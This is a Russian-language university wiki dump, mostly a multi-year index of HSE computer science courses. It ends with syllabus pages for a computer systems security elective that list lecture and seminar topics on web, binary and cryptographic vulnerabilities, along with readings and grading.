[[DM2-pilot2018/2019 | Дискретная математика-2 на ПМИ (пилотный поток)]]

[[DM2-basic2018/2019 | Дискретная математика-2 на ПМИ (основной поток)]]

[[Алгоритмы_и_структуры_данных_2_2018/2019 | Алгоритмы и структуры данных – 2 на ПМИ (основной поток)]]

[[Факультатив Теория вычислений]]

||

[[Машинное_обучение_1/2018_2019 | Машинное обучение 1 на ПМИ]]

[[Машинное_обучение_2 | Машинное обучение 2 на ПМИ]]

[[Численные_Методы_2018 | Численные методы ]]

[[PDC | Параллельные и распределенные вычисления]]

[[Theory_of_Computing_2018_2019 | Theory of Computing, AMI]]

[[НИС_Машинное_обучение_и_приложения_2018/2019|НИС Машинное обучение и приложения]]

[[Прикладная_статистика_в_машинном_обучении(2018)|Прикладная статистика в машинном обучении]]

[[Безопасность_компьютерных_систем_2018|Безопасность компьютерных систем]]

[[НИС_РС|НИС Распределенные системы]]

[[Основные методы анализа данных]]

[[Теория баз данных]]

[[Непрерывная оптимизация/2019|Непрерывная оптимизация (161-162)]]

[[Непрерывная оптимизация (163-167)]]

[[Сложность вычислений и логика в теоретической информатике]]

[[Data analysis (Software Engineering) 2019|Data analysis]]

[[Анализ данных в бизнесе 2019|Анализ данных в бизнесе на ПМИ ]]

[[Intro to DL Blended | Intro to DL Blended]]

[[Дискретная оптимизация 2019 | Дискретная оптимизация 2019]]

||

[[Statistical_learning_theory_2018_2019 | Introduction to statistical learning theory]]

[[Анализ_неструктурированных_данных-2018 |Анализ неструктурированных данных ]]

[[Байесовские_методы_машинного_обучения_2018|Байесовские методы машинного обучения]]

[[НИС_Машинное_обучение_и_приложения_2018/2019|НИС Машинное обучение и приложения]]

[[НИС_Науки_о_данных_2018/2019|НИС Науки о данных]]

[[НИС_Распределенные_системы_(4_курс,_2018)|НИС Распределенные системы]]

[[Теория_Информации_2018/2019|Теория информации]]

[[Безопасность_компьютерных_систем_2018|Безопасность компьютерных систем]]

[[Методы_и_системы_обработки_больших_данных_(осень_2018)|Методы и системы обработки больших данных]]

[[Философия_науки_2018|Философия науки]]

[[Теория баз данных]]

[[ConvAppr19 | Выпуклое программирование и аппроксимационные алгоритмы (ТИ)]]

[[Функциональное программирование 2019 | Функциональное программирование]]

[[A_Theorist's_Toolkit_2018_2019 | A Theorist's Toolkit, AMI]]

[[Анализ данных в бизнесе 2019|Анализ данных в бизнесе на ПМИ ]]

||
[[Дополнительные главы теории вероятностей 2019 | Дополнительные главы теории вероятностей 2019]]

[[Дополнительные главы математической статистики 2019 | Дополнительные главы математической статистики 2019]]

[[Введение в программирование (курс майнора) 2018/2019]]

[[dopglavy_DM_1819|Допглавы дискретной математики]]

[[Современные_методы_машинного_обучения_(курс_майнора)_2018/2019 | Современные методы машинного обучения (курс майнора) 2018/2019]]

[[Прикладные_задачи_анализа_данных_(майнор_-_весна_2019) | Прикладные задачи анализа данных (майнор - весна 2019)]]

[[Майнор Интеллектуальный анализ данных/Введение в анализ данных | Введение в анализ данных (курс майнора)]]

[[Функциональный анализ (весна_2019) | Функциональный анализ (весна_2019)]]

[[KotlinElective| Язык Kotlin (3 и 4 модули 2018-2019)]]

||

|}

== Курсы в рамках проекта [https://www.hse.ru/dataculture/ Data Culture]==
=== 2 семестр ===

{| class="wikitable"
|-
! Дисциплина !! Образовательная программа !! Курс !! Модули

|-
| [[Основы программирования на Python весна 2019 матфак|Основы программирования на Python-2]] || Математика || 2-4 курс || 3-4 модули
|-
| [[Цифровая_грамотность_(филология)|Цифровая грамотность]] || Филология || 1 курс || 3-4 модули
|-
| [[Цифровая_грамотность_(ИИ_и_культурология)|Цифровая грамотность]] || История искусств и Культурология || 1 курс || 3-4 модули
|-
| [[Цифровая_грамотность_(ИЯМК_2019)|Цифровая грамотность]] || Иностранные языки и межкультурная коммуникация (ДИЯ) || 1 курс || 3-4 модули
|-
| [[Основы_анализа_и_визуализации_данных_ДИЯ_2019|Анализ и визуализации данных]] || Иностранные языки и межкультурная коммуникация (ДИЯ) || 2 курс || 3-4 модули
|-
| [[Научно-исследовательский_семинар_2019| Научно-исследовательский семинар]] || Политология || 1 курс || 3 модуль
|-
| [[ММО_Политология_201810|Методы машинного обучения]] || Прикладная политология || 1 г.о. || 2-3 модули
|-
| [[Основы_программирования_в_Python_2019|Основы программирования в Python]] || Мировая экономика || 2 курс || 3-4 модули
|-
| [[Программирование_и_компьютерные_инструменты_лингвистического_исследования|Программирование и компьютерные инструменты лингвистического исследования]] || Фундаментальная и компьютерная лингвистика || 1 курс || 1-4 модули
|-
| [[Компьютерная лингвистика и информационные технологии|Компьютерная лингвистика и информационные технологии]] || Фундаментальная и компьютерная лингвистика || 4 курс || 1-3 модули
|-
| [[ПМСАР-1|Автоматизированный сбор больших данных в экономико-социологических исследованиях]] || Прикладные методы социального анализа рынков || 2 г.о. || 3-4 модули
|-
| [[Искусственный интеллект и большие данные_(2019)|Искусственный интеллект и большие данные]] || Дизайн, Мода, Современное искусство || 1 курс || 3-4 модули
|-
| [[Информационный менеджмент: Введение в Data Science|Информационный менеджмент: Введение в Data Science]] || Управление бизнесом Маркетинг и рыночная аналитика || 1 курс || 4 модуль
|-
| [[Технологии анализа больших данных|Технологии анализа больших данных]] || ГМУ || 1 курс || 4 модуль
|-
| [[Основы программирования на Python (Прикладное программное обеспечение)|Основы программирования на Python (Прикладное программное обеспечение)]] || Социология || 1 курс || 4 модуль
|-
| [[Основы работы с данными|Основы работы с данными]] || Медиакоммуникации || 2 курс || 4 модуль
|-
| [[Введение_в_data_science_Социология_1_курс|Профориентационный семинар (Data Culture)]] || Социология || 1 курс || 4 модуль
|-
| [[Введение_в_анализ_данных_МирЭк_2019|Введение в анализ данных]] || Мировая экономика || 1 курс || 4 модуль

|}

=== 1 семестр ===

{| class="wikitable"
|-
! Дисциплина !! Образовательная программа !! Курс !! Модули

|-
| [[Основы анализа данных в международных отношениях 2018/2019|Основы анализа данных в международных отношениях]] || Международные отношения || 2 курс || 1-2 модули
|-
| [[Introduction_to_Data_Culture_2018-2019|Introduction to Data Culture]] || Программа двух дипломов НИУ ВШЭ и Лондонского университета "Международные отношения" || 1 курс || 2 модуль
|-
| [[Программирование_и_компьютерные_инструменты_лингвистического_исследования|Программирование и компьютерные инструменты лингвистического исследования]] || Фундаментальная и компьютерная лингвистика || 1 курс || 1-4 модули
|-
| [[Цифровая грамотность(востоковедение)|Цифровая грамотность]] || Востоковедение || 1 курс || 1 модуль
|-
| [[Разработка управленческих решений в маркетинге | Разработка управленческих решений в маркетинге]] || Маркетинг и рыночная аналитика || 2 курс || 1-2 модули
|-
| [[Информационные технологии в деятельности юриста_2018-2019| Информационные технологии в деятельности юриста]] || Юриспруденция || 1 курс || 2 модуль
|-
| [[Машинное обучение на матфаке 2018/2019| Машинное обучение]] || Факультет математики || 2-4 курсы || 1-2 модули
|-
| [[ПМСАР-2| Методы анализа больших данных в исследованиях поведения покупателей]] || Прикладные методы социального анализа рынков || 2 г.о. || 1-2 модули
|-
| [[Анализ данных в Python (Политологи 1 семестр 1-2 модули)|Анализ данных в Python]] || Политология || 4 курс || 1-2 модули
|-
| [[Основы анализа и визуализации данных для медиа (Журналисты 1 семестр 1 модуль)|Основы анализа и визуализации данных для медиа]] || Журналистика || 4 курс || 1 модуль
|-
| [[Компьютерная лингвистика и информационные технологии|Компьютерная лингвистика и информационные технологии]] || Фундаментальная и компьютерная лингвистика || 4 курс || 1-3 модули
|-
| [[Введение в анализ текстов на Python для ФГН 2018|Введение в анализ текстов на Python для ФГН 2018]] || Фундаментальная и компьютерная лингвистика || 3 курс || 1, 2, 4 модули
|-
| [[Машинное обучение (ФЭН)]] || Факультет экономических наук || 3-4 курсы || 1-2 модули
|-
| [[Программирование_(python)_для_экономистов|Программирование (Python) для экономистов]] || Факультет экономических наук || 2 курс || 1-2 модули
|-
| [[Цифровая грамотность(философия)|Цифровая грамотность]] || Философия || 1 курс || 1-2 модули
|-
| [[Цифровая_грамотность_(историки)|Цифровая грамотность]] || История || 1 курс || 1-2 модули
|-
| [[Обработка и анализ данных физического эксперимента|Обработка и анализ данных физического эксперимента]] || Физика || 2 курс || 1-2 модули
|-
| [[Статистический анализ в среде R (Социологи 1 семестр 2 модуль)|Статистический анализ в среде R ]] || Социология || 4 курс || 2 модуль
|-
| [[ММО_Политология_201810|Методы машинного обучения]] || Прикладная политология || 1 г.о. || 2-3 модули
|}

==Courses of the Statistical Learning Theory program==
[[Neurobayesian_models_2019|Neurobayesian models]]

== Курсы за 2017/18 учебный год ==
{| class="wikitable"
|-
! 1 курс !! 2 курс !! 3 курс !! 4 курс !! майноры и факультативы
|-
|

[[Математический_анализ_на_ПМИ_2017/2018_(пилотный_поток) | Математический анализ на ПМИ 2017/2018 (пилотный поток)]]

[[Математический_анализ_на_ПМИ_2017/2018_(основной_поток) | Математический анализ на ПМИ 2017/2018 (основной поток)]]

[[Основы_и_методология_программирования_на_ПМИ_2017/2018_(пилотный_поток,_1_модуль) | Основы и методология программирования на ПМИ 2017/2018 (пилотный поток, 1 модуль)]]

[[Основы_и_методология_программирования_на_ПМИ_2017/2018_(основной_поток,_2_модуль) | Основы и методология программирования на ПМИ 2017/2018 (основной поток, 2 модуль)]]

[[Основы_и_методология_программирования_на_ПМИ_2017/2018_(основной_поток,_3_модуль) | Основы и методология программирования на ПМИ 2017/2018 (основной поток, 3 модуль)]]

[[Алгоритмы_и_структуры_данных_на_ПМИ_2017/2018_(основной_поток) | Алгоритмы и структуры данных на ПМИ 2017/2018 (основной поток)]]

[[Линейная_алгебра_и_геометрия_на_ПМИ_2017/2018_(пилотный_поток) | Линейная алгебра и геометрия на ПМИ (пилотный поток)]]

[[Линейная_алгебра_и_геометрия_на_ПМИ_2017/2018_(основной_поток) | Линейная алгебра и геометрия на ПМИ (основной поток)]]

[[Дискретная_математика_1_2017/2018 | Дискретная математика-1 на ПМИ]]

[[Алгоритмы и структуры данных 1 | Алгоритмы и структуры данных – 1 (пилотный поток)]]

[[Алгебра_на_ПМИ_2017/2018 | Алгебра на ПМИ]]

[http://hsealgebra18.wikidot.com Алгебра на ПИ]

||
[[Теория_вероятностей_2017/2018_(основной_поток) | Теория вероятностей на ПМИ (основной поток)]]

[[Теория_вероятностей_2017/2018_(пилотный_поток) | Теория вероятностей на ПМИ (пилотный поток)]]

[[Математический анализ-3 на ПМИ_2017/2018_(основной_поток) | Математический анализ-2 на ПМИ (основной поток)]]

[[Математический анализ на ПМИ_2017/2018 | Математический анализ-3 на ПМИ (пилотный поток)]]

[[DM2-pilot2017/2018 | Дискретная математика-2 на ПМИ (пилотный поток)]]

[[DM_2_2017_2018 | Дискретная математика-2 на ПМИ (основной поток)]]

[[Алгоритмы и структуры данных_2_2017/2018 | Алгоритмы и структуры данных – 2 на ПМИ (основной поток)]]

[[Дифференциальные уравнения (2 курс, 2017/2018)| Дифференциальные уравнения]]

||
[[Машинное_обучение_1/2017_2018 | Машинное обучение 1 на ПМИ]]

[[Машинное_обучение_2/2017_2018 | Машинное обучение 2 на ПМИ]]

[[Численные_методы_2017 | Численные методы]]

[[Statistics of Stochastic Processes|Статистика случайных процессов 2018]]

[[Прикладная_статистика_в_машинном_обучении | Прикладная статистика в машинном обучении]]

[[Theory_of_Computing | Theory of Computing, AMI]]

[[Statistical_learning_theory | Introduction to statistical learning theory]]

[[Основные_методы_анализа_данных_(специализация_АДИС) | Основные методы анализа данных на ПМИ]]

[[Анализ неструктурированных данных]]

[[Безопасность компьютерных систем 2017 | Безопасность компьютерных систем]]

[[НИС_Распределенные_системы_(3_курс,_2017) | НИС Распределенные системы]]

[[НИС_Машинное_обучение_и_приложения_2017/2018 | НИС Машинное обучение и приложения]]

[[Непрерывная_оптимизация | Непрерывная оптимизация]]

[[ Сложность_и_логика| Сложность вычислений и логика в теоретической информатике]]

[[Data_analysis_(Software_Engineering)_2018 | Data Analysis на ПИ]]

[http://telegra.ph/Kurs-Vvedenie-v-OOP-VSHEH-2018-Modul-3-01-30 Введение в ООП]

[http://wiki.cs.hse.ru/Машинное_обучение_на_больших_данных Машинное обучение на больших данных]

[[Дискретная_оптимизация | Дискретная оптимизация]]

||

[[Безопасность компьютерных систем 2017 | Безопасность компьютерных систем]]

[[Философия_науки_2017 | Философия науки]]

[[НИС_Распределенные_системы_(4_курс,_2017) | НИС Распределенные системы]]

[[НИС_Машинное_обучение_и_приложения_2017/2018 | НИС Машинное обучение и приложения]]

[[Анализ неструктурированных данных]]

[[Байесовские методы машинного обучения 2017 | Байесовские методы машинного обучения]]

[[Функциональное программирование 2018 | Функциональное программирование]]

[http://telegra.ph/Kurs-Vvedenie-v-OOP-VSHEH-2018-Modul-3-01-30 Введение в ООП]

||

[[Современные методы машинного обучения (курс майнора) 2017/2018]]

[[Введение в программирование (курс майнора) 2017/2018]]

[[Майнор Интеллектуальный анализ данных/Введение в анализ данных/2017-2018 | Введение в анализ данных (курс майнора)]]

[[Прикладные задачи анализа данных (майнор - весна 2018)]]

[[Маго-лего "Линейная алгебра в приложениях" весна 2018 | Линейная алгебра в приложениях (маго-лего)]]

[[Функциональный анализ 2017/18 | Функциональный анализ на ПМИ (факультатив)]]

[[Дополнительные главы теории вероятностей и математической статистики (факультативы) | Дополнительные главы теории вероятностей и математической статистики (факультативы)]]

[[Дополнительные главы дискретной математики 2017/18 | Дополнительные главы дискретной математики (факультатив)]]

[[Цифровые технологии в гуманитарных науках]]

|}

== Курсы в рамках проекта [https://www.hse.ru/dataculture/ Data Culture]==

=== 2 семестр ===

[[Цифровая_грамотность_2018_(2_семестр)|Цифровая грамотность (факультет гуманитарных наук — 2 семестр: ИЯМК, Филология, История искусств, Культурология, 1 курс)]] 
[[Научно-исследовательский семинар (ФСН) |Научно-исследовательский семинар (ОП "Политология", 1 курс)]] 
[[Introduction_to_Data_Culture|Introduction to Data Culture (HSE and University of London Parallel Degree Programme in International Relations, 1 year)]] 
[[ИИ_и_БД|Искусственный интеллект и большие данные (ОП "Дизайн", "Мода", 1 курс)]] 
[[Компьютерная лингвистика и информационные технологии |Компьютерная лингвистика и информационные технологии (ОП "Фундаментальная и компьютерная лингвистика", 4 курс, 2 семестр)]] 
[[Основы анализа данных в международных отношениях|Основы анализа данных в международных отношениях (ОП "Международные отношения", 2 курс, 4 модуль)]] 
[[Введение в data science (2_семестр)|Профориентационный семинар (блок по введению в data scicence) (Факультет социальных наук — 2 семестр: Социология, 1 курс)]] 
[[Введение в Data Science| Введение в Data Science (ФБиМ, 4 модуль)]] 

=== 1 семестр ===

[[Цифровая_грамотность|Цифровая грамотность (факультет гуманитарных наук — 1 семестр: История, Философия, 1 курс)]] 
[[Машинное обучение (факультет экономических наук)|Машинное обучение (факультет экономических наук)]] 
[[Компьютерная лингвистика и информационные технологии |Компьютерная лингвистика и информационные технологии (ОП "Фундаментальная и компьютерная лингвистика", 4 курс, 1 семестр)]] 
[[Извлечение и анализ интернет-данных | Извлечение и анализ интернет-данных (факультет экономических наук)]] 
[[Анализ больших данных в социальных науках (ФСН, 2017) | Анализ больших данных в социальных науках (ФСН, 2017)]] 
[[Информационные_технологии_в_деятельности_юриста|Информационные технологии в деятельности юриста (Факультет права)]] 
[[Машинное_обучение_для_лингвистов|Машинное обучение (магистратура Школы лингвистики)]] 

== Курсы магистратуры Финансовые технологии и анализ данных ==

[[Вероятностные_модели_и_прикладная_статистика_в_финансовой_математике|Вероятностные модели и прикладная статистика в финансовой математике]]

[[Рекомендательные системы и поиск закономерностей в данных|Рекомендательные системы и поиск закономерностей в данных]]

== Courses of Data Science master program/Курсы магистерской программы "Науки о данных" ==

[[Introduction to Machine Learning and Data Mining|Introduction to Machine Learning and Data Mining]]

== Курсы за 2016/17 учебный год ==
{| class="wikitable"
|-
! 1 курс !! 2 курс !! 3-4 курс !! майноры
|-
|

[[Математический анализ на ПМИ_2016/2017 | Математический анализ на ПМИ (пилотный поток)]]

[[Линейная алгебра и геометрия_2016/2017 | Линейная алгебра и геометрия на ПМИ]]

[[Дискретная_математика_1_2016/2017 | Дискретная математика-1 на ПМИ]]

[[Основы и методология программирования_2016/2017_пилотный_поток | Основы и методология программирования на ПМИ (пилотный поток)]]

[[Основы и методология программирования_2016/2017 | Основы и методология программирования на ПМИ (основной поток)]]

[[Алгоритмы_и_структуры_данных_на_ПМИ_(пилотный_поток) | Алгоритмы и структуры данных на ПМИ (пилотный поток)]]

[[Алгоритмы_и_структуры_данных_на_ПМИ_(основной_поток) | Алгоритмы и структуры данных на ПМИ (основной поток)]]

[[Алгебра_на_ПМИ_2016/2017 | Алгебра на ПМИ]]

[http://hsealgebra17.wikidot.com/ Алгебра на ПИ]

||

[[Математический анализ_2016/2017 | Математический анализ-3 на ПМИ (основной поток)]]

[[Математически_анализ_3_на_ПМИ_(пилотный_поток) | Математический анализ-3 на ПМИ (пилотный поток)]]

[[DM_2_2016_2017 | Дискретная математика-2 на ПМИ (основной поток)]]

[[Дискретная математика_2_2016/2017 | Дискретная математика-2 на ПМИ (пилотный поток)]]

[[Алгоритмы и структуры данных_2_2016/2017 | Алгоритмы и структуры данных – 2 на ПМИ (основной поток)]]

[[Теория вероятностей_2016/2017 | Теория вероятностей на ПМИ (основной поток)]]

[[Теория_вероятностей_2016/2017_(пилотный_поток) | Теория вероятностей на ПМИ (пилотный поток)]]

[[Архитектура_компьютеров_и_операционные_системы_2016/2017 | Архитектура компьютеров и операционные системы]]

[[Факультатив_теория_вычислений_2016/2017 | Факультатив теория вычислений на ПМИ]]

[[Дополнительные_главы_теории_вероятностей_(факультатив,_2017) | Дополнительные главы теории вероятностей (факультатив)]]

[[Дифференциальные_уравнения_(2_курс,_2016/2017) | Дифференциальные уравнения]]

[[Математическая_статистика_2016/2017_(пилотный_поток) | Математическая статистика на ПМИ (пилотный поток)]]

[[Архитектура_компьютеров_и_операционные_системы_2016/2017 | Архитектура компьютеров и операционные системы ]]

||

[[НИС_Машинное_обучение_и_приложения_2016/2017 | НИС Машинное обучение и приложения на ПМИ]]

[[Машинное_обучение_1/2016_2017 | Машинное обучение 1 на ПМИ]]

[[Машинное_обучение_2/2016_2017 | Машинное обучение 2 на ПМИ]]

[[Прикладной_статистический_анализ_данных | Прикладной статистический анализ данных на ПМИ]]

[[Численные_методы_в_анализе_данных | Численные методы в анализе данных на ПМИ]]

[http://www.machinelearning.ru/wiki/index.php?title=Статистика_случайных_процессов_(курс_лекций,_ФКН_ВШЭ) Вероятностные модели и статистика случайных процессов на ПМИ]

[http://www.machinelearning.ru/wiki/index.php?title=Opt Методы оптимизации на ПМИ (специализации МОП и РС)]

[[Методы_оптимизации_(весна_2017)|Методы оптимизации 2 (дискретная оптимизация)]]

[[НИС_Распределенные_системы_(осень_2016) | НИС Распределенные системы]]

[[Анализ и верификация алгоритмов биржевой торговли | Анализ и верификация алгоритмов для систем биржевой торговли ]]

[[Программирование_на_графических_процессорах | Программирование на графических процессорах]]

[[ЯРПО | Языки разработки ПО (курс по выбору) на ПМИ]]

[[Data analysis (Software Engineering) 2017 | Data analysis на ПИ]]

[[Базы данных 2 | Базы данных 2 ]]

[[Компьютерные сети 2 | Компьютерные сети 2]]

[[Машинное_обучение_на_больших_данных | Машинное обучение на больших данных на ПМИ]]

||

[[Современные_методы_машинного_обучения_(курс_майнора) | Современные методы машинного обучения (курс майнора)]]

[[Майнор_Интеллектуальный_анализ_данных/Введение_в_программирование_2016/2017 | Введение в программирование (курс майнора)]]

[[Майнор Интеллектуальный анализ данных/Введение в анализ данных/2016-2017 | Введение в анализ данных (курс майнора)]]

[[Майнор Интеллектуальный анализ данных/Прикладные задачи анализа данных| Прикладные задачи анализа данных (курс майнора)]]

|}

{|width=100%
|style="vertical-align:top;"|



=== Курсы за 2015/16 учебный год ===
{|
|-
| [[Технологии программирования|Технологии программирования на ПМИ]]
|-
|[[ОиМП-2015|Основы и методология программирования на ПМИ]]
|-
|[[Алгоритмы и структуры данных 2016]]
|-
|[[Линейная алгебра и геометрия_2015/2016 | Линейная алгебра и геометрия на ПМИ]]
|-
|[[Алгебра_2015/2016 | Алгебра на ПМИ]]
|-
|[http://hsealgebra.wikidot.com/ Алгебра на ПИ]
|-
|[[Компьютерные системы]]
|-
|[[Математический анализ на ПМИ_2015/2016 | Математический анализ на ПМИ]]
|-
|[[Факультатив_Матпрактикум | Матпрактикум (факультатив) на ПМИ]]
|-
|[[Data analysis (Software Engineering)]] 
|-
|[[Майнор Интеллектуальный анализ данных/Введение в программирование|Введение в программирование (курс майнора) на ПМИ]]
|-
|[[Майнор Интеллектуальный анализ данных/Введение в анализ данных/2015-2016|Введение в анализ данных (курс майнора) на ПМИ]]
|-
|[[НИС Машинное обучение и приложения|НИС Машинное обучение и приложения на ПМИ]]
|-
|[[Архитектура компьютеров и системное программирование (ПМИ_4, 2015/2016)|Архитектура компьютеров и системное программирование (4 курс)]]
|-
|[[Дифференциальные уравнения (2 курс, 2015/2016)| Дифференциальные уравнения]]
|-
|[[Введение в VBA|Введение в VBA]]
|}

|style="vertical-align:top;"|



=== Курсы за 2014/15 учебный год ===
{|
|-
|[[Основы и методологии программирования]] 
|-
|[[Алгоритмы и структуры данных 2015 | Алгоритмы и структуры данных]] 
|-
|[[Анализ данных (Программная инженерия)]] 
|-
|[[Алгебра_2014/2015 | Алгебра]] 
|-
|[[Magolego_sna_2015| MAGoLEGO Social Network Analysis]]
|}

==== Проектная работа ====
{|
|-
|[[Проектная работа]] 
|-
|[[Учебная практика 1 курс (2016)]]
|-
|[[Проектная работа 2 курс (2016)]]
|}


|}

== Мероприятия факультета компьютерных наук ==
=== Summer School 2015 ===
[[Introduction to Natural Language Processing|Introduction to Natural Language Processing]]
#[[Lecture 1. Introduction|Introduction]]
#[[Lecture 2. Tokenization and word counts|Tokenization and word counts]]
#[[Lecture 3. POS tagging. Key word and phrase extraction|POS tagging. Key word and phrase extraction]]
#[[Lecture 4. Parsing|Parsing]]
#[[Lecture 5. Language sources|Language sources]]
#[[Lecture 6. Synonyms and near-synonyms detection|Synonyms and near-synonyms detection]]
#[[Lecture 8. Suffix trees for NLP|Suffix trees for NLP]]
#[[NLP References|References]]

== Архив ==
* [[Учебная практика 1 курс (2015)]]

Безопасность компьютерных систем 2019

2019-09-12T13:29:02Z

Gamajun: Новая страница: «== Безопасность компьютерных систем == Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осе…»

== Безопасность компьютерных систем ==

Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2019 года (1 и 2 модуль).
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения.

=== План курса ===

Лекции:

(1-й модуль)

# (09.09) Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.
# (14.09) Безопасность приложений. Мобильные приложения и их уязвимости.
# (23.09) Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.
# (30.09) Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.
# (07.10) Безопасность приложений. Secure Development Life Cycle - методы поиска недостатков в ПО.
# (14.10) Безопасность приложений. Аутентификация и авторизация.

(2-й модуль)
# (28.10) Безопасность приложений. Уязвимости, связанные с переполнением буфера.
# (04.11) Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода.
# (11.11) Механизмы безопасности приложений в операционных системах.
# (18.11) Безопасность приложений. Продвинутые бинарные уязвимости, WebAssembly.
# (25.11) Криптография. Введение и история. Симметричные шифры и атаки на них.
# (02.12) Криптография, Асимметричные шифры и атаки на них.
# (09.12) Криптография. Приложения - PKI, WoT, Блокчейн.
# (16.12) Заключительная лекция.

Семинары:
# (16.09) [[Безопасность компьютерных систем 2019/Уязвимости мобильных приложений]]
# (23.09) [[Безопасность_компьютерных_систем_2019/XSS|Веб-уязвимости. Обзор, инструменты. XSS.]]
# (30.10) [[Безопасность_компьютерных_систем_2019/SQLi|Веб-уязвимости. SQLi.]]
# (07.10) [[Безопасность_компьютерных_систем_2019/XXE|Веб-уязвимости. XXE, прочее интересное.]]
# (14.10) Семинар переносится на 30.10
# (30.10) [[Безопасность_компьютерных_систем_2019/FU|Уязвимости загрузки файлов.]]
# (04.11) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_1|Бинарные программы. Инструменты.]]
# (11.11) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]
# (18.11) [[Безопасность_компьютерных_систем_2019/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]
# (25.11) [[Бинарные программы. Обратная разработка программ.]]
# (02.12) [[Безопасность_компьютерных_систем_2019/XOR|Атаки на блочные шифры.]]
# (09.12) [[Безопасность_компьютерных_систем_2019/RSA|Атаки на RSA.]]

=== Материалы лекций ===

Лекционные материалы публикуются по мере продвижения по курсу.

=== Практические задания ===

В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.

[[Безопасность_компьютерных_систем_2019/Задание_1|Задание по теме "Уязвимости мобильных приложений"]]

[[Безопасность_компьютерных_систем_2019/Задание_2|Задание по теме "Веб-уязвимости"]]

[[Безопасность_компьютерных_систем_2019/Задание_3|Задание по теме "Бинарные уязвимости"]]

[[Безопасность_компьютерных_систем_2019/Задание_4|Задание по теме "Криптографические уязвимости"]]

==== Общее ====

=== Итоговый тест ===

=== Оценки ===

=== Расчет оценки ===
Вклад в оценку:
* Практические задания (4 штуки) - 80%
* Итоговый тест (на экзамене) - 20%

=== Литература ===
Основная литература:
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder's Handbook: Discovering and Exploiting Security Holes.
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker's Handbook: Detecting and Exploiting Security Flaws.
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking.
* Æleen Frisch. Essential system administration.
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker's Handbook

Дополнительная литература:
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]

=== Контакты ===
* Почта: gamajun@gmail.com, dgamaunov@hse.ru
* Tg: @jamadharma
* Tg чат: https://t.me/hse_security_course

Безопасность компьютерных систем 2018

2018-12-24T12:20:52Z

Gamajun: /* План курса */

== Безопасность компьютерных систем ==

Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2018 года (1 и 2 модуль).
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения.

=== План курса ===

Лекции:

(1-й модуль)

# (11.09) [https://drive.google.com/file/d/1EDgV5yNlBz0JqWbccX9-VX86Jl5gxXJ2 Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]
# (18.09) [https://drive.google.com/open?id=1fDHsf5Re3j6DeuR1_Za1R0ZaiHI2dzpy Безопасность приложений. Мобильные приложения и их уязвимости.]
# (25.09) [https://drive.google.com/open?id=1EflFiY0-nOgGaBkTcrtA8pthr53vkq5v Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.]
# (02.10) [https://drive.google.com/open?id=1PqXpu9XMw4mH_Mg1V6NQ2brW24XNKCFq Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.]
# (09.10) [https://drive.google.com/open?id=1OTsNFflqktWq_sGUxF0oeBvE0HuSFSmL Безопасность приложений. Secure Development Life Cycle - методы поиска недостатков в ПО.]
# (16.10) [https://drive.google.com/open?id=1slDOuuFViB8mmvE-rcCP0BQQVP7QM0fi Безопасность приложений. Аутентификация и авторизация.]

(2-й модуль)
# (30.10) [https://drive.google.com/file/d/1xCUxJhb5DIVKuMMMOtfrZ_GyBKZjkVhj Безопасность приложений. Уязвимости, связанные с переполнением буфера.]
# (06.11) [https://drive.google.com/file/d/198A3zf_COhACiMaA_1JC7jPrrY7F8pr8 Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода.]
# (13.11) [https://drive.google.com/file/d/1hTcX0cWHakNh3y7d6AfoLojmBaNFBrfL Механизмы безопасности приложений в операционных системах.]
# (20.11) [Безопасность приложений. Продвинутые бинарные уязвимости, WebAssembly.]
# (27.11) [https://drive.google.com/file/d/1AXe9ZzQEGA2tmKOYUsja_DkGMTFMt2Sc Криптография. Введение и история. Симметричные шифры и атаки на них.]
# (04.12) [https://drive.google.com/file/d/1mwQ0a9lpAWfzOa2ZjUxT5yeDP6DaSAc8 Криптография, Асимметричные шифры и атаки на них.]
# (11.12) [https://drive.google.com/file/d/1aWJog7iPfwAzGifK8CV9HDKG2tXaxPwG Криптография. Приложения - PKI, WoT, Блокчейн.]
# (18.12) [https://drive.google.com/file/d/1mFal2MBiiYOMFR1HolwzQq3zxvD0tP40 Криптография. Пост-квантовая криптография. Заключение.]

Семинары:
# (18.09) [[Безопасность компьютерных систем 2018/Уязвимости мобильных приложений]]
# (25.09) [[Безопасность_компьютерных_систем_2018/XSS|Веб-уязвимости. Обзор, инструменты. XSS.]]
# (02.10) [[Безопасность_компьютерных_систем_2018/SQLi|Веб-уязвимости. SQLi.]]
# (09.10) [http://xxe.hse.seclab.cs.msu.su Веб-уязвимости. XXE, прочее интересное.]
# (16.10) [[Безопасность_компьютерных_систем_2018/FU|Уязвимости загрузки файлов.]]
